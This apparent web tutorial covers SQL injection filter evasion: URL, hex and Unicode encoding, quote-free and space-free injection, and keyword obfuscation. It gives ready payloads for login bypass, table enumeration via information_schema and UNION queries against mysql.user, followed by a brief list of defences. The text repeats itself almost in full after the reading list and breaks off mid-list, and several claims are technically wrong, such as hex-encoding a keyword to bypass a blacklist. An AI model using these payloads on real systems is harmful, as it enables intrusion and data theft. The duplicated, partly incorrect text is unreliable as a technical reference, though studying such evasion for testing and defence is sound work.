Understanding SQL Injection Filter Evasion Techniques

SQL injection remains one of the most critical web application vulnerabilities, even as defenses evolve. While many applications implement input filters to block malicious queries, attackers continuously develop sophisticated evasion techniques to bypass these protections. As a security professional, mastering these methods is essential for identifying vulnerabilities in hardened systems and helping organizations strengthen their defenses.

This guide explores advanced filter evasion techniques, practical attack examples, and defensive countermeasures to provide a comprehensive understanding of modern SQL injection challenges.

Key Points

Character encoding transforms payloads into alternative representations that bypass detection
Quote-free injection exploits numerical contexts and SQL functions when quotes are filtered
Space replacement uses comments, special characters, and parentheses to maintain query syntax
Keyword obfuscation employs case variation, encoding, and symbolic operators to evade blacklists
Defense requires parameterized queries, positive validation, and WAFs with custom rules

Filter Evasion Fundamentals

Input filters typically target specific patterns like SQL keywords, quotes, or special characters. However, attackers can manipulate payloads in ways that preserve malicious intent while evading detection. The most effective evasion techniques exploit:

Filter implementation flaws (e.g., single-pass decoding)
SQL syntax flexibility (e.g., alternative whitespace)
Encoding inconsistencies (e.g., partial URL decoding)
Context-aware injection (e.g., numeric vs. string contexts)

Critical Insight: No filter is perfect. Defense-in-depth with multiple layers of protection is essential.

Character Encoding Techniques

Filters often fail to detect encoded payloads, allowing attackers to transform malicious input into alternative representations that slip through validation.

URL Encoding

Replace special characters with percent-encoded equivalents:

Character	Encoding
`'`	`%27`
	`%20`
`=`	`%3D`
`--`	`%2D%2D`

Example: ' OR 1=1-- → %27%20OR%201%3D1%2D%2D

Hexadecimal Encoding

Represent strings as hex values directly in SQL queries:

-- Standard query
SELECT * FROM users WHERE name = 'admin'

-- Hex-encoded alternative
SELECT * FROM users WHERE name = 0x61646d696e

Unicode Encoding

Use Unicode escape sequences:

admin → \u0061\u0064\u006d\u0069\u006e

Pro Tip: Layer multiple encoding methods (URL + Unicode) to bypass nested filters that decode only once.

No-Quote SQL Injection

When single or double quotes are blocked, alternative techniques maintain injection effectiveness.

Numerical Context Exploitation

Exploit queries expecting numeric values where quotes aren't required:

-- Original (with quotes)
' OR '1'='1

-- No-quote alternative
OR 1=1

SQL Comment Truncation

Use comment syntax to terminate queries early:

-- Blocked by filter
admin'--

-- Alternative (if quotes are stripped)
admin--

String Concatenation Functions

Build strings dynamically using SQL functions:

Function	Example	Result
`CONCAT()`	`CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e)`	`admin`
`CHAR()`	`CHAR(97,100,109,105,110)`	`admin`
Concatenation	`0x61+0x64+0x6d+0x69+0x6e`	`admin`

Space Bypass Methods

Space filtering is common but easily circumvented using alternative whitespace characters and SQL syntax tricks.

Inline Comments

Replace spaces with /**/ comment blocks:

SELECT/**/*/**/FROM/**/users

Alternative Whitespace Characters

Use URL-encoded whitespace alternatives:

Character	Encoding	Description
`%09`	`\t`	Horizontal tab
`%0A`	`\n`	Line feed
`%0D`	`\r`	Carriage return
`%A0`		Non-breaking space

Example: SELECT%0A*%0AFROM%0Ausers

Parentheses Grouping

Group expressions without spaces:

SELECT(1)FROM(users)WHERE(id=1)

Keyword Obfuscation Strategies

SQL keyword blacklists can be bypassed through various obfuscation techniques.

Filter Target	Bypass Technique	Example
`SELECT`	Case variation	`SElEcT`, `sELeCt`
`SELECT`	Inline comments	`SE/**/LECT`
`UNION`	Hex encoding	`0x554E494F4E`
`AND`/`OR`	Symbolic operators	`&&` (AND), `\|\|` (OR)
`=`	Alternative comparisons	`LIKE`, `REGEXP`, `IN()`
Any keyword	String concatenation	`CONCAT('SE','LECT')`

Critical Note: Modern WAFs use pattern recognition beyond simple keyword matching. Test payloads incrementally and monitor responses.

Practical Attack Examples

Example 1: Bypassing Space and Keyword Filters

Scenario: Filter blocks spaces and the SELECT keyword

Payload:

SElEcT/**/1/**/FrOm/**/(SeLeCt/**/group_concat(table_name)/**/FrOm/**/information_schema.tables)a

Techniques used:

Case variation (SElEcT, FrOm)
Inline comments (/**/) replacing spaces
Subquery aliasing (a)

Example 2: Quote-Filtered Login Bypass

Scenario: Login form filters single and double quotes

Original attack:

username=admin&password=1'||'1'='1

Encoded bypass:

username=admin&password=1%27%7C%7C%271%27%3D%271

Alternative approach (numeric context):

username=admin&password=1||1

Example 3: Multi-Layer Evasion

Scenario: WAF blocks common SQL keywords and special characters

Payload:

1%09UNION%09SELECT%091,CONCAT(0x75,0x73,0x65,0x72),3%09FROM%09mysql.user

Techniques combined:

Tab character (%09) for spaces
Hex encoding for sensitive strings (0x75736572 = "user")
Case-sensitive keyword variation

Defensive Countermeasures

While offensive techniques are valuable for testing, understanding defense is crucial for comprehensive security.

Primary Defenses

Parameterized queries: Separate SQL logic from data input
Positive input validation: Use allowlists for expected characters
Stored procedures: Reduce injection surface area with proper parameter handling
Least privilege: Limit database account permissions

Detection and Monitoring

Web Application Firewalls (WAFs): Custom rules for encoding detection
Anomaly detection: Identify unusual query patterns
Log audits: Monitor for suspicious character sequences
Rate limiting: Slow automated injection attempts

Testing Recommendations

Test all encoding combinations during assessments
Verify filters apply to all input vectors (headers, cookies, parameters)
Check for filter inconsistencies between application layers
Document bypass techniques for remediation prioritization

Learn More

Official Documentation

Books

SQL Injection Attacks and Defense by Justin Clarke
The Web Application Hacker's Handbook by Dafydd Stuttard and Marcus Pinto

Hands-On Practice

PortSwigger SQL Injection Labs
SQLmap (Automated SQL injection tool)
Hack The Box (Practical security challenges)

This guide explores advanced filter evasion techniques, practical attack examples, and defensive countermeasures to provide a comprehensive understanding of modern SQL injection challenges.

Key Points

Character encoding transforms payloads into alternative representations that bypass detection
Quote-free injection exploits numerical contexts and SQL functions when quotes are filtered
Space replacement uses comments, special characters, and parentheses to maintain query syntax
Keyword obfuscation employs case variation, encoding, and symbolic operators to evade blacklists
Defense requires parameterized queries, positive validation, and WAFs with custom rules

Filter Evasion Fundamentals

Filter implementation flaws (e.g., single-pass decoding)
SQL syntax flexibility (e.g., alternative whitespace)
Encoding inconsistencies (e.g., partial URL decoding)
Context-aware injection (e.g., numeric vs. string contexts)

Critical Insight: No filter is perfect. Defense-in-depth with multiple layers of protection is essential.

Character Encoding Techniques

Filters often fail to detect encoded payloads, allowing attackers to transform malicious input into alternative representations that slip through validation.

URL Encoding

Replace special characters with percent-encoded equivalents:

Character	Encoding
`'`	`%27`
	`%20`
`=`	`%3D`
`--`	`%2D%2D`

Example: ' OR 1=1-- → %27%20OR%201%3D1%2D%2D

Hexadecimal Encoding

Represent strings as hex values directly in SQL queries:

-- Standard query
SELECT * FROM users WHERE name = 'admin'

-- Hex-encoded alternative
SELECT * FROM users WHERE name = 0x61646d696e

Unicode Encoding

Use Unicode escape sequences:

admin → \u0061\u0064\u006d\u0069\u006e

Pro Tip: Layer multiple encoding methods (URL + Unicode) to bypass nested filters that decode only once.

No-Quote SQL Injection

When single or double quotes are blocked, alternative techniques maintain injection effectiveness.

Numerical Context Exploitation

Exploit queries expecting numeric values where quotes aren't required:

-- Original (with quotes)
' OR '1'='1

-- No-quote alternative
OR 1=1

SQL Comment Truncation

Use comment syntax to terminate queries early:

-- Blocked by filter
admin'--

-- Alternative (if quotes are stripped)
admin--

String Concatenation Functions

Build strings dynamically using SQL functions:

Function	Example	Result
`CONCAT()`	`CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e)`	`admin`
`CHAR()`	`CHAR(97,100,109,105,110)`	`admin`
Concatenation	`0x61+0x64+0x6d+0x69+0x6e`	`admin`

Space Bypass Methods

Space filtering is common but easily circumvented using alternative whitespace characters and SQL syntax tricks.

Inline Comments

Replace spaces with /**/ comment blocks:

SELECT/**/*/**/FROM/**/users

Alternative Whitespace Characters

Use URL-encoded whitespace alternatives:

Character	Encoding	Description
`%09`	`\t`	Horizontal tab
`%0A`	`\n`	Line feed
`%0D`	`\r`	Carriage return
`%A0`		Non-breaking space

Example: SELECT%0A*%0AFROM%0Ausers

Parentheses Grouping

Group expressions without spaces:

SELECT(1)FROM(users)WHERE(id=1)

Keyword Obfuscation Strategies

SQL keyword blacklists can be bypassed through various obfuscation techniques.

Filter Target	Bypass Technique	Example
`SELECT`	Case variation	`SElEcT`, `sELeCt`
`SELECT`	Inline comments	`SE/**/LECT`
`UNION`	Hex encoding	`0x554E494F4E`
`AND`/`OR`	Symbolic operators	`&&` (AND), `\|\|` (OR)
`=`	Alternative comparisons	`LIKE`, `REGEXP`, `IN()`
Any keyword	String concatenation	`CONCAT('SE','LECT')`

Critical Note: Modern WAFs use pattern recognition beyond simple keyword matching. Test payloads incrementally and monitor responses.

Practical Attack Examples

Example 1: Bypassing Space and Keyword Filters

Scenario: Filter blocks spaces and the SELECT keyword

Payload:

SElEcT/**/1/**/FrOm/**/(SeLeCt/**/group_concat(table_name)/**/FrOm/**/information_schema.tables)a

Techniques used:

Case variation (SElEcT, FrOm)
Inline comments (/**/) replacing spaces
Subquery aliasing (a)

Example 2: Quote-Filtered Login Bypass

Scenario: Login form filters single and double quotes

Original attack:

username=admin&password=1'||'1'='1

Encoded bypass:

username=admin&password=1%27%7C%7C%271%27%3D%271

Alternative approach (numeric context):

username=admin&password=1||1

Example 3: Multi-Layer Evasion

Scenario: WAF blocks common SQL keywords and special characters

Payload:

1%09UNION%09SELECT%091,CONCAT(0x75,0x73,0x65,0x72),3%09FROM%09mysql.user

Techniques combined:

Tab character (%09) for spaces
Hex encoding for sensitive strings (0x75736572 = "user")
Case-sensitive keyword variation

Defensive Countermeasures

While offensive techniques are valuable for testing, understanding defense is crucial for comprehensive security.

Primary Defenses

Parameterized queries: Separate SQL logic from data input
Positive input validation: Use allowlists for expected characters
Stored procedures: Reduce injection surface area with proper parameter handling
Least privilege: Limit database account permissions